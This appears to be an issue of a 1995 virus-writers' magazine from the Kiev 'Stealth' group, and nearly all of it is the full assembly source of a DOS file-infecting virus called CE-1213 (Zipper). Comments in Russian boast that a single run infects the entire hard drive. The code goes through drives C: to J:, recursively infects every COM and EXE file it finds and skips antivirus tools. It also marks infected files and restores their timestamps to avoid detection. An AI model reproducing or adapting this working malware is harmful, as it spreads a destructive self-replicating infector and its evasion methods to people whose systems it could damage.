           ▄▄                  █
          ▀▀▀ Monthly Magazine █ For VirMakers.                  JULY '95
          ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀  █▀▀▀▀▀▀█
           ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ █▄▄   █ ▐▀▀█ █
            █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █   █     █   ▐▌ █
            █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄  █   █  █
            ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  █▄▄▄▄▄▄█
           (C) STEALTH group WWide, Box 10, Kiev-148, fUcKRAINE 
;─────────────────────────────────────────────────────────────────────────────

;--- CE-1213 (Zipper).--------------------------------------------------------
; Данный вирус написан мною под влиянием развития современной вычислительной
;техники и деградации программных средств.
; Идея его в том,что он циклически обходит логические диски винчестера (от 'C:'
; до 'J:') и заражает файлы во всех подкаталогах.Это напоминает "aidstest * /f"
; да только ключ /f исполняет совсем несвойственную ему функцию ...
;Хоть и не выводим мы на экран цветастых картинок , но при единственном запуске
;заражаем ВЕСЬ винчестер!!!

; Господ ламеров прошу рекламму Stealth Group не вырезать , а с моим Copyright
; делайте что угодно.

; Исходный текст был построен по группам исполнения!
; Здесь имеется отдельная процедуры инициализации , обхода дисков и каталогов,
; а так же автономная процедура заражения.
; Вирус НЕ обрабатывает int 24h!

; * 
LenSec		equ	2
LenTail		equ	0189

		.model	tiny
		.code

		org	100h


Virr:
		call	$+3
		pop	si
		sub	si,03
;------------------------------
		lea	bx,[si+offset RunProgram-100h]
		push	ds si cs bx
;Stack -> PSPseg | offset Virr | cseg | offset RunProgram
;------------------------------
		mov	ax,cs
		add	ax,1000h
		mov	es,ax
		mov	bx,offset MainPart
		push	ax bx	; for RETF
		push	cs
		pop	ds
		mov	di,100h
		mov	cx,offset VirusLen - 100h
		cld
		rep	movsb
		retf		; Go to MainPart in new segment!
;- COM or EXE ?---------------------------------------------------
RunProgram:
		pop	bx ds
		push	ds
		pop	es
;--Возвратим старое DTA --------
		mov	dx,80h
		mov	ah,1ah
		int	21h
;-------------------------------
		cmp	word ptr cs:[bx+offset OriginBytes-100h],'ZM'
		jz	L_exe
;-Вocстановить три байта З.П.-------------------------------------
		mov	di,100h
		lea	si,[bx+offset OriginBytes-100h]
		push	di
		movsw
		movsw
		movsb
		ret		; Go to infected com program.
;-Loaded from exe file.--------------------------------------------
L_exe:
		mov	ax,es
		add	ax,10h
		push	ax
		add	cs:[offset CS_file-offset virr][bx],ax
		pop	ax
SS_file:	add	ax,0000
		cli
		mov	ss,ax
SP_file:	mov	sp,0000
		sti
		db	0eah
IP_file		dw	?
CS_file		dw	?
;---------------------------------------------------------
;/////////////////////////////////////////////////////////
;---------------------------------------------------------
;Подпрограмка для тестирования!!!
beep:
		push	ax
		mov	ax,0e07h
		int	10h
		pop	ax
		ret
;---------------------------------------------------------
db 13,10
db 'This virus was made  for Computer Virus Club `Stealth`',13,10
db 'Our address : Kiev 148 - box 10',13,10
;---------------------------------------------------------

MainPart	proc
		push	cs cs
		pop	es ds
		mov	byte ptr Drive,'C'	; For first disk!
		call	MakeDrive
		mov	ah,19h		; Сохраним имя текущего диска!
		int	21h
		mov	byte ptr [offset OldDisk+1],al
		mov	si,offset OldROOT
		add	al,'A'
		mov	byte ptr [si-3],al
		mov	word ptr [si-2],'\:'
;-----------------------------------------------
		mov	ah,47h
		mov	dl,0
		int	21h
		cmp	byte ptr [si],0
		jnz	_OkROOT
		mov	word ptr [si],002eh	; '.',0
;-----------------------------------------------
_OkROOT:
		mov	OfsDir,offset DirSearchMask+2
		mov	OfsFile,offset FileSearchMask
		mov	fl,0
;-----------------------------------------------
; * Ставим текущим диск ,который будем сканировать!
		mov	ah,0eh
		mov	dl,byte ptr Drive
		sub	dl,'A'
		int	21h
		jc	NoLogicalDisk
		call	DiskTest	; Cure disk!
;-----------------------------------------------
;Инкрементируем номер диска для следующих заражений.
;(У меня на Поцике с виртуальным диском C: при установке
; несуществующего диска флаг CY не подымается,а посему я заражаю диски
; от 'C:' до 'J:' )
		inc	byte ptr Drive
		cmp	byte ptr Drive,'J'
		ja	NoLogicalDisk
		call	MakeDrive
		jmp	_OkROOT
;-----------------------------------------------
NoLogicalDisk:
		mov	ah,0eh		; Возвратим текущий диск!
OldDisk:	mov	dl,00
		int	21h
;-----------------------------------------------
		mov	ah,3bh
		mov	dx,offset OldROOT-3
		int	21h
		retf		; Go to RunProgram in old segment!
MainPart	endp
;-----------------------------------------------
MakeDrive	proc
		mov	byte ptr Drive+1,':'
		mov	word ptr Drive+2,005ch	; 'C:\',0
		ret
MakeDrive	endp
;---------------------------------------------------------
;/////////////////////////////////////////////////////////
;-Scan and Infect disk!-----------------------------------
DiskTest	proc
;---------------------------------------------------------
; * Входим в корневик!
		mov	ah,3bh
		mov	dx,offset Drive
		int	21h
;---------------------------------------------------------
		mov	si,offset Drive+2
		call	MakeTitle		; SI=offset Dir -->
						; Dir = Dir'*.*'
		call	AllDir
		ret
DiskTest	endp
;-------------------------------------------------
AllDir		proc
start_1:
		mov	CntDir,1
start:
		mov	si,OfsDir
		mov	ah,1ah
		mov	dx,offset DirDTA
		int	21h
		call	MakeTitle
		cmp	fl,0
		jnz	__11

		call	FindFiles
		mov	ah,1ah
		mov	dx,offset DirDTA
		int	21h

		call	FindFirstDir
		jc	ExitDir
		jmp	__22
__11:
		call	FindNextDir
		jc	ExitDir
__22:
		inc	CntDir
		call	CopyDTAToBuf
		call	CopyDirName
		mov	ah,3bh
		mov	dx,offset DirSearchMask
		int	21h
		mov	fl,0
;----No look CY!
		jmp	start
ExitDir:
		cmp	CntDir,0
		jz	ExitProc
		dec	CntDir
		mov	ah,3bh
		mov	dx,offset EscapeDir
		int	21h
		jc	ExitProc
		call	CopyDTABufToDTA
		mov	fl,1
		std
		mov	si,OfsDir
		dec	si
__@@:
		lodsb
		dec	OfsDir
		dec	OfsFile
		cmp	al,'\'
		jnz	__@@
		cmp	CntDir,1
		ja	start
		cmp	CntDir,0
		jz	ExitProc
		jmp	start_1
ExitProc:
		ret
AllDir		endp

FindFirstDir	proc
		mov	ah,4eh
		mov	dx,offset DirSearchMask
		mov	cx,10h
		int	21h
		jc	NoFirstDir
		test	byte ptr DirDTA+21,10h
		jz	NoDir
		cmp	byte ptr DirDTA+30,'.'
		jz	NoDir
		clc
		ret
NoFirstDir:
		stc
		ret
NoDir:
		call	FindNextDir
		ret
FindFirstDir	endp

FindNextDir	proc
		mov	ah,4fh
		int	21h
		jc	NoFirstDir
		test	byte ptr DirDTA+21,10h
		jz	FindNextDir
		cmp	byte ptr DirDTA+30,'.'
		jz	FindNextDir
		clc
		ret
FindNextDir	endp

CopyDirName	proc
		cld
		mov	di,OfsDir
		mov	al,'\'
		stosb
		mov	si,offset DirDTA+30
__CopyDir:
		lodsb
		cmp	al,0
		jz	ExitCopyDir_1
		stosb
		inc	OfsDir
		jmp	__CopyDir
ExitCopyDir_1:
		xor	ax,ax
		stosw
		inc	OfsDir
		mov	di,offset FileSearchMask
		mov	si,offset DirSearchMask
__$$:
		lodsb
		cmp	al,0
		jz	__CopyDir2
		inc	OfsFile
		stosb
		jmp	__$$
__CopyDir2:
		xchg	al,ah
		mov	al,'\'
		stosw

		mov	di,offset EscapeDir
		mov	si,offset DirSearchMask
__$$2:
		lodsb
		cmp	al,0
		jz	__CopyDir3
		stosb
		jmp	__$$2
__CopyDir3:
		mov	al,'\'
		stosb
		mov	ax,'..'
		stosw
		xor	ax,ax
		stosw
		ret
CopyDirName	endp
;----------------------------------
CopyDTAToBuf	proc
		push	si di cx ax
		cld
		mov	si,offset DirDTA
		mov	ax,CntDir
		mov	cx,100
		mul	cx
		mov	di,offset DTABuf
		add	di,ax
		rep	movsb
		pop	ax cx di si
		ret
CopyDTAToBuf	endp
;----------------------------------
CopyDTABufToDTA	proc
		push	si di cx ax
		cld
		mov	si,offset DTABuf
		mov	di,offset DirDTA
		mov	ax,CntDir
		inc	ax
		mov	cx,100
		mul	cx
		add	si,ax
		rep	movsb
		pop	ax cx di si
		ret
CopyDTABufToDTA	endp
;----------------------------------
MakeTitle	proc
		mov	word ptr [si],'*\'	;\*
		mov	word ptr [si+2],'*.'	;.*
		mov	byte ptr [si+4],0	; ->> Drive\path:'\*.*',0
		ret
MakeTitle	endp
;---------------------------------------------------------
FindFiles	proc
		mov	ah,1ah			; Set DTA for file search!
		mov	dx,offset DTABuffer
		int	21h
;---------------------------------------------------------
		mov	ah,4eh			; -Findfirst(Dir,
		mov	cx,3fh			;  Anyfile,DTABuffer);
		mov	dx,offset Drive		; -
		int	21h			; -
		jc	ExitDirs
;---------------------------------------------------------
NameOperation:
		cld
		lea	si,DTABuffer+30		;.FileName
		mov	di,offset TestFileName
CopyFileName:
		lodsb
		stosb
		cmp	al,0
		jnz	CopyFileName
;---------------------------------------------------------
		call	ScanFile	; Смотрим найденный файл!
;---------------------------------------------------------
		mov	ah,4fh			; -Findnext(Drive);
		int	21h
		jnc	NameOperation
ExitDirs:
		ret
FindFiles	endp
;---------------------------------------------------------
;/////////////////////////////////////////////////////////
;---------------------------------------------------------
ScanFile	proc
		push	es bx cx dx si di bp
		test	byte ptr DTABuffer+21,10h	; DIR
		jnz	ExitTestFile
		test	byte ptr DTABuffer+21,8h	; LABEL
		jnz	ExitTestFile

		mov	si,offset TestFileName
		push	si
		call	SeeExt
		pop	bp
		jc	ExitTestFile
;------------------------------
		call	SeeFile		; Собственно открываем файл и т.д. ...
ExitTestFile:
		pop	bp di si dx cx bx es
		ret
ScanFile	endp
;---------------------------------------------------------
SeeExt		proc
		lodsw
		dec	si
		dec	si
;- Их мы не заражаем! ------------
		cmp	ax,'RD'	; 'DRweb.exe'
		jz	BadExt
		cmp	ax,'IA'	; 'AIdstest.exe'
		jz	BadExt
		cmp	ax,'SM'	; 'MScan.com'
		jz	BadExt
		cmp	ax,'OC'	; 'COmmand.com'
		jz	BadExt
;---------------------------------
		lodsb
		cmp	al,'.'
		jnz	SeeExt
		lodsw
		cmp	ax,'OC'		; COM
		jz	COMOk
		cmp	ax,'XE'		; EXE
		jnz	BadExt
		cmp	byte ptr [si],'E'
		jz	ExtOk
BadExt:
		stc
		ret
COMOk:
		cmp	byte ptr [si],'M'
		jnz	BadExt
ExtOk:
		clc
		ret
SeeExt		endp
;---------------------------------------------------------
;/////////////////////////////////////////////////////////
;---------------------------------------------------------
;Автономная подпрограмма заражения .COM .EXE файлов.
;Т.е. отрезаем и вставляем в новый вирус!
; BP = OFFSET TEST_FILE_NAME !!!!!!!!!!
SeeFile		proc
		mov	dx,bp
		mov	ax,3d00h
		int	21h
		jnc	ReadHeader
		ret
ReadHeader:
		mov	bh,3fh
		xchg	ax,bx
		mov	cx,18h
		mov	dx,offset OriginBytes
		mov	si,dx
		int	21h
		jc	_1
		cmp	word ptr ds:[offset OriginBytes],'ZM'
		jz	_EXE
		cmp	word ptr ds:[offset OriginBytes+3],'$$'
		jz	_1
;-Infect .COM --------------------------------
		call	diskryptor
		cmp	bp,64000
		ja	_1			;Длина больше допустимой.
		mov	es:[di+21],bp		;F.p. = end file.
;-Make JMP------------------------------------
		sub	bp,03
		mov	ds:[offset jmp_n],bp
		call	WriteBody
		jc	_1b
		mov	cx,05h
		mov	dx,offset new_3_byte
ExitWrite:
		mov	ah,40h
		int	21h
_1b:		jmp	exit_date
_1:		jmp	exit_close
;-Infect .EXE ---------------------------------
_EXE:
		call	diskryptor
		cmp	ds:[si+12h],'xx'	; Already infected ?
		jz	_1			; Yes!
		mov	ax,ds:[si+4]		; Pages (512b).
		dec	ax
		mov	cx,512
		mul	cx
		add	ax,[si+2]	; DX:AX = File len from header.
		cmp	ax,bp		; Real file len = dx:ax ?
		jnz	_1		; No - this is overlay.
		cmp	es:[di+19],dx	; ********************
		jnz	_1		; No - this is overlay.
;-----
		mov	es:[di+21],ax	; F.p.= end file.
		mov	es:[di+23],dx
;-Get header.-----------------------------------
		mov	[si+12h],'xx'
		mov	ax,[si+14h]
		mov	ds:[offset IP_file],ax
		mov	ax,[si+16h]
		mov	ds:[offset CS_file],ax
		mov	ax,[si+10h]
		mov	word ptr ds:[offset SP_file+1],ax
		mov	ax,[si+0eh]
		mov	word ptr ds:[offset SS_file+1],ax
;-----------------------------------------------
		xchg	ax,bp
		mov	cx,10h
		div	cx
		sub	ax,[si+8]
		sbb	dx,0
		mov	[si+16h],ax	; ReloCS.
		mov	[si+0eh],ax	; ReloSS
		mov	[si+14h],dx	; ExeIP.
		mov	[si+10h],offset DTABuf	; ExeSP
;-Correcting file len in header.----------------
		add	word ptr [si+2],LenTail
		add	word ptr [si+4],LenSec
;-Write virus in file.--------------------------
		call	WriteBody
		jc	exit_date
;-Write new header.-----------------------------
		mov	cx,18h
		mov	ah,40h
		mov	dx,offset OriginBytes
		int	21h
exit_date:
		mov	ax,5701h
		mov	cx,es:[di+13]
		mov	dx,es:[di+15]
		int	21h
exit_close:
		mov	ah,3eh
		int	21h
		ret
SeeFile		endp
;----------------------------------------------
WriteBody	proc
		mov	dx,100h
		mov	cx,offset VirusLen-100h
		mov	ah,40h
		int	21h
		xor	dx,dx
		mov	es:[di+21],dx		; F.p.= start file.
		mov	es:[di+23],dx		;
		ret
WriteBody	endp
;----------------------------------------------
diskryptor	proc
		mov	ax,1220h
		push	bx
		int	2fh
		mov	bl,es:[di]
		mov	ax,1216h
		int	2fh
		pop	bx
		mov	byte ptr es:[di+2],02	; mode = r/w.
		xor	dx,dx
		mov	bp,es:[di+17]
exit_d:		ret
diskryptor	endp
;-----------------------------------------------
db 13,10
db '(c) Light General.Kiev.1995.For free use!',13,10
db 'КИЕВСКИЙ МЕЖДУНАРОДНЫЙ УНИВЕРСИТЕТ ГРАЖДАНСКОЙ АВИАЦИИ',13,10,13,10
;-----------------------------------------------
new_3_byte	db	0e9h
jmp_n		dw	0000
		db	'$$'
;-----------------------------
OriginBytes	Label	Byte
		mov	ax,4c00h
		int	21h
		db	13h dup (90h)
VirusLen	db	?
;---------------------------------------------------------
;/////////////////////////////////////////////////////////
;---------------------------------------------------------
OfsDir		dw	?
OfsFile		dw	?
CntDir		dw	?
fl		db	?

DTABuffer	Label	Byte
		db	60 dup (?)

RootDir		db	25 dup (?)
;-----------------------------------------------
TestFileName	db	25 dup (?)
;-----------------------------------------------
Header		db	20h dup (?)
;-----------------------------------------------
DirDTA		db	100 dup (?)

DirSearchMask:
Drive		db	68 dup (?)

FileSearchMask	db	64 dup (?)
EscapeDir	db	64 dup (?)

		db	3 dup (?)
OldROOT		db	64 dup (?)
;----------------------------------------------
DTABuf		label	byte
;-----------------------------------------------
		end	Virr